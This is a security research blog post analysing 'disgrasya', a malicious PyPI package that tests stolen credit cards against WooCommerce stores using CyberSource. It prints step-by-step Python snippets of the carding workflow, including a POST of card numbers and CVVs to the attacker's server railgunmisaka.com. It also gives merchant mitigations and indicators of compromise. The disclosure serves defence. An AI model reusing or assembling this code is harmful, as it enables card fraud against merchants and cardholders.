The Socket research team recently discovered a malicious Python package on PyPI named disgrasya
, which contains a fully automated carding script targeting WooCommerce stores. Unlike typical supply chain attacks that rely on deception or typosquatting, disgrasya
made no attempt to appear legitimate. It was openly malicious, abusing PyPI as a distribution channel to reach a wider audience of fraudsters.
The attack script we're investigating today specifically targets merchants using WooCommerce with CyberSource as their payment gateway.
What are Carding Attacks?#
Carding attacks are a common form of payment fraud in which attackers test stolen credit card numbers to see which ones are still valid. Fraudsters typically obtain card data from dark web marketplaces, Telegram channels, or leaked databases sold in underground forums. These sources offer card dumps in bulk, often including cardholder names, expiration dates, CVVs, and sometimes billing ZIP codes.
Once attackers have a list of stolen cards, they need to verify which ones work before reselling them or using them for fraudulent purchases. That’s where automated carding tools like disgrasya
come in. These scripts simulate real transactions, filling out checkout forms, tokenizing card data, and submitting it to payment gateways to quietly test whether a card is still active and usable. If the transaction goes through, the card is considered "live" and more valuable on the black market.
Carding is both widespread and damaging. Juniper Research estimates that online payment fraud will cost businesses over $362 billion globally between 2023 and 2028. Annual losses are expected to rise sharply, nearly doubling from $38 billion in 2023 to $91 billion by 2028—a projected increase of more than 140%, with carding attacks making up a significant share.
What makes these attacks so hard to detect is their stealth: they mimic legitimate customer behavior and often use stolen IPs, residential proxies, or low-value purchases to avoid triggering fraud detection systems.
By publishing a working carding tool on PyPI, the attacker behind disgrasya
lowered the barrier for entry, allowing even low-skilled actors to carry out sophisticated fraud campaigns against WooCommerce-based stores.
Downloaded Over 34,000 Times#
What makes disgrasya particularly alarming is its popularity: it had been downloaded more than 34,860 times at the time of discovery. The malicious payload was introduced in version 7.36.9, and all subsequent versions carried the same embedded attack logic.
While the name might raise eyebrows to native speakers ("disgrasya" is Filipino slang for "disaster" or "accident"), it's an apt characterization of a package that executes a multi-step process emulating a legitimate shopper’s journey through an online store in order to test stolen credit cards against real checkout systems without triggering fraud detection.
The Fraud Logic: A Step-by-Step Breakdown of the Malicious Logic in disgrasya#
Step 1: Extract a Product ID from the E-Commerce Store
The attack begins with a GET request to the target WooCommerce store’s product listing page. The goal is to extract a product_id
, which is necessary to simulate adding a product to the cart. The script scrapes the HTML response using a simple string split to find the first occurrence of the data-product_id
attribute.
url = f"https://{domain}/?=&post_type=product"
response = session.get(url, proxies=proxy)
split_text = response.text.split('data-product_id="')
id = split_text[1].split('"')[0]
By dynamically retrieving the product ID from a live product page, the attacker ensures that the script can be reused across different WooCommerce domains without manual adjustments. This is critical for mass automation, where attackers may attempt carding against hundreds of storefronts using the same backend platform.
Step 2: Add Product to Cart via AJAX
Once the product ID is identified, the script issues a POST request to WooCommerce’s add_to_cart
AJAX endpoint. This step emulates a legitimate shopper adding an item to their cart, using a background API that e-commerce sites use to provide seamless user experiences.
url = f"https://{domain}/?wc-ajax=add_to_cart"
data = {'quantity': 1, 'add-to-cart': id}
response = session.post(url, data=data, proxies=proxy)
This silent cart addition avoids UI-based workflows and helps the attacker avoid bot detection systems that monitor for mouse movement, human interaction, or unusual click patterns.
Step 3: Extract CSRF Nonce and capture_context
Next, the script navigates to the WooCommerce checkout page. Here, it performs another GET request and parses the response HTML for two critical values: the CSRF nonce (woocommerce-process-checkout-nonce
) and the CyberSource capture_context
.
url = f"https://{domain}/checkout/"
response = session.get(url, proxies=proxy)
checkoutNonce = response.text.split('name="woocommerce-process-checkout-nonce" value="')[1].split('"')[0]
capture_context = response.text.split('"capture_context":"')[1].split('"')[0]
The checkoutNonce
is WooCommerce’s protection against forged requests and ensures that the checkout form is submitted from a legitimate session. Meanwhile, capture_context
is a security token generated by CyberSource, typically used on the frontend to tokenize sensitive payment data before submission. In a secure flow, this value is intended to be short-lived and session-bound—but the attacker harvests it directly from the page, bypassing the frontend JavaScript entirely.
Mimicking a Real Checkout—End to End
The final step involves one last POST request to WooCommerce’s AJAX checkout endpoint. Here, the script fills in randomized billing details and includes the stolen—but now tokenized—card data. The result? If the card is valid and passes all checks, the response includes a checkout success URL.If the card fails or requires another method, the message is captured for analysis.In both cases, the attacker achieves their goal: they’ve just verified whether a stolen credit card is working—without triggering a CAPTCHA, without needing JavaScript emulation, and without raising any red flags on most fraud detection systems.
Step 4: Send Credit Card to External Server (railgunmisaka.com)
The most malicious part of the code comes next: the exfiltration of stolen credit card data. The script assembles the credit card number, expiration date, and CVV, then packages it along with the captured capture_context
. This payload is sent to an external server controlled by the attacker (railgunmisaka.com
) using a POST request.
url = "https://www.railgunmisaka.com/cybersourceFlexV2"
headers = {
"Accept": "application/json",
"Content-Type": "application/json"
}
data = {
"card": f"{cc}|{mm}|{yy}|{cvv}",
"capture_context": capture_context
}
response = session.post(url, data=data, headers=headers)
encryptedCardData = json.loads(response.text)["flextoken"]
This exfiltration step is particularly dangerous because it passes the card data through a third-party server before proceeding to the payment gateway. The attacker’s server mimics CyberSource's behavior by returning a flextoken
, which is presumed to be a valid tokenized representation of the stolen card. The attacker can use this token to test whether the card is working—without exposing themselves to direct fraud detection on the payment gateway.
With the flextoken
in hand, the script constructs a final checkout POST request. It includes fake user details (randomized name, email, and address), the stolen checkoutNonce
, the fake CyberSource token (flextoken
), and the original capture_context
. This data is sent to WooCommerce’s wc-ajax=checkout
endpoint.
url = f"https://{domain}/?wc-ajax=checkout"
data = {
'billing_first_name': 'Danyka',
'billing_last_name': 'Kunde',
'billing_country': 'US',
'billing_address_1': '90154 Alanna Rapid Suite 080',
'billing_city': 'New York',
'billing_state': 'NY',
'billing_postcode': '10080',
'billing_phone': '15809662076',
'billing_email': ''.join(random.choices(string.ascii_letters + string.digits, k=16)) + '@gmail.com',
'payment_method': 'cybersource_credit_card',
'wc-cybersource-credit-card-expiry': '10 / 27',
'wc-cybersource-credit-card-flex-token': response.text,
'wc-cybersource-credit-card-flex-key': capture_context,
'woocommerce-process-checkout-nonce': checkoutNonce,
'_wp_http_referer': '/?wc-ajax=update_order_review'
}
response = session.post(url, data=data, proxies=proxy)
The response from this request determines whether the stolen card is accepted, declined, or needs further verification. If the card is accepted, the attacker sees an order-received
confirmation in the JSON response. If it fails, the attacker reads the rejection message to log the failure and possibly retry with another card.
Finally, the script prints the outcome—either a successful transaction (with the redirect receipt link), a payment failure, or a generic error message.
if 'order-received' in status:
receipt = stripTags(json.loads(response.text)["redirect"])
return print(f"[+]{domain} {cc}|{mm}|{yy}|{cvv} {receipt}")
elif 'order-pay' in status:
message = stripTags(json.loads(response.text)["messages"])
return print(f"[!] {domain} {cc}|{mm}|{yy}|{cvv} Payment error, try alternate method.")
elif 'failure' in status:
message = stripTags(json.loads(response.text)["messages"])
return print(f"[x] {domain} {cc}|{mm}|{yy}|{cvv} {message}")
This entire workflow—from harvesting product IDs and checkout tokens, to sending stolen card data to a malicious third party, and simulating a full checkout flow—is highly targeted and methodical. It is designed to blend into normal traffic patterns, making detection incredibly difficult for traditional fraud detection systems.
By embedding this logic inside a Python package published on PyPI and downloaded over 34,000 times, the attacker created a modular tool that could be easily used in larger automation frameworks, making disgrasya
a powerful carding utility disguised as a harmless library.
The Perfect Low-Noise Carding Attack
What makes disgrasya
so dangerous isn’t just the automation—it’s the subtlety. Every action it performs is indistinguishable from what a normal user might do:
- It navigates a real product page.
- It adds a real product to the cart.
- It obtains a legitimate checkout nonce and context.
- It tokenizes the card using a seemingly valid flow.
- It submits data via WooCommerce’s real checkout mechanisms.
Mitigating the Risk#
This threat is not aimed at developers who might accidentally install a malicious package—it targets online merchants, specifically those running WooCommerce stores with CyberSource integration. The disgrasya
utility is just one example of how attackers are simulating real checkout flows and testing stolen credit cards, often without triggering fraud detection systems.
WooCommerce refers to this tactic as card testing or card checking, and it remains a persistent threat to online stores.
To mitigate the risk:
- Enable fraud protection rules in WooPayments, such as blocking low-value orders (e.g. under $5), which are commonly used in carding attacks.
- Monitor for patterns—multiple small orders, high failure rates, or high checkout volume from a single IP or region.
- Adjust fraud protection rules dynamically if the attack persists, as tactics often shift mid-campaign.
- Enable CAPTCHA or bot protection during the checkout flow to add friction for automated scripts.
- Rate limit checkout and payment endpoints, particularly WooCommerce’s AJAX-based flows.
You can find full recommendations and merchant-specific advice in WooCommerce’s card testing prevention guide. Merchants should review these recommendations and ensure their stores are properly configured to detect and respond to fraudulent activity.
While this specific package has been removed from PyPI, the broader technique remains viable. Carding scripts can be easily republished under new names or hosted elsewhere. Vigilant monitoring and layered defenses at the checkout level are key to preventing fraud and minimizing exposure.
Indicators of Compromise (IOCs)#
Malicious Domain: railgunmisaka[.]com
URL (Exfiltration): hxxps://www[.]railgunmisaka[.]com/cybersourceFlexV2
Package Name: disgrasya
(Python PyPI)
Malicious Versions: 7.36.9
and above
MITRE ATT&CK TTP Mapping#
Initial Access — T1195.002 — Supply Chain Compromise: Compromise Software Dependency
Credential Access — T1056 — Input Capture / Credential Collection
Collection — T1213 — Data from Information Repositories (Web App Tokens)
Command and Control — T1071.001 — Application Layer Protocol: Web Protocols (HTTPS)
Defense Evasion — T1027 — Obfuscated Files or Information
Execution — T1204.002 — User Execution: Malicious Script Execution
Exfiltration — T1041 — Exfiltration Over C2 Channel
Impact — T1657 — Theft of Money / Fraudulent Transactions
Socket Research Team
Dhanesh Dodia
Sambarathi Sai
Dwijay Chintakunta